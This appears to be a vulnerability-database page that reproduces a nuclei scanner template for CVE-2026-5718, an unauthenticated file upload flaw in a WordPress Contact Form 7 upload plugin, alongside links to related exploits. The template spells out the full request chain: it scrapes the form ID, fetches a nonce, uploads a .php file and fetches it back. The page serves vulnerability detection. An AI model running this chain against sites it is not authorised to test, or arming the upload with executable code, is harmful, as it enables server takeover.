Lucene search
K

Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 30 Views

Unauthenticated file upload leads to remote code execution in the WordPress plugin; update beyond 1.3.9.6.

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-5718
12 May 202607:43
githubexploit
GithubExploit
Exploit for CVE-2026-5718
26 May 202606:19
githubexploit
GithubExploit
Exploit for CVE-2026-5718
8 May 202616:54
githubexploit
ATTACKERKB
CVE-2026-5718
17 Apr 202617:25
attackerkb
Circl
CVE-2026-5718
17 Apr 202618:21
circl
CNNVD
WordPress plugin Drag and Drop Multiple File Upload for Contact Form 安全漏洞
17 Apr 202600:00
cnnvd
CVE
CVE-2026-5718
17 Apr 202617:25
cve
Cvelist
CVE-2026-5718 Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.7 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass
17 Apr 202617:25
cvelist
EUVD
EUVD-2026-23459
17 Apr 202618:31
euvd
NVD
CVE-2026-5718
17 Apr 202618:16
nvd
Rows per page
id: CVE-2026-5718

info:
  name: Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution
  author: zer0p0int
  severity: critical
  description: |
   Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin <= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.
  impact: |
   Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
   Update to the latest version beyond 1.3.9.6.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5718
    - https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5718
    epss-score: 0.04175
    epss-percentile: 0.89683
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: codedropz
    product: drag-and-drop-multiple-file-upload-contact-form-7
    publicwww-query: "/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/"
  tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,intrusive,unauth,vkev

variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(6))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/contact"
      - "{{BaseURL}}/contact-us"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_wpcf7")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: form_id
        group: 1
        part: body
        regex:
          - '_wpcf7"(?:[^>]*value="|:)(\d+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=_wpcf7_check_nonce

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"data\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        part: body
        regex:
          - '"data":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------cf7dndboundary

        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="security"

        {{nonce}}
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="upload_name"

        upload-file
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="upload-file"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{string}}
        -----------------------------cf7dndboundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "\"file\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: renamed
        group: 1
        part: body
        regex:
          - '"file":"([^"]+)"'
        internal: true

      - type: regex
        name: path
        group: 1
        part: body
        regex:
          - '"path":"([^"]+)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp_dndcf7_uploads/{{path}}/{{renamed}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, string)'
        condition: and
# digest: 4a0a004730450221008212ede101fea39f41006617b506d9579b214a8cac677316884bd48da55ab260022008c07eb6e786a8b18f6fbb8f412f17e4df6e27874b58156cae3edf8b30162e1c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2026 03:22Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.18.1
EPSS0.04175
SSVC
30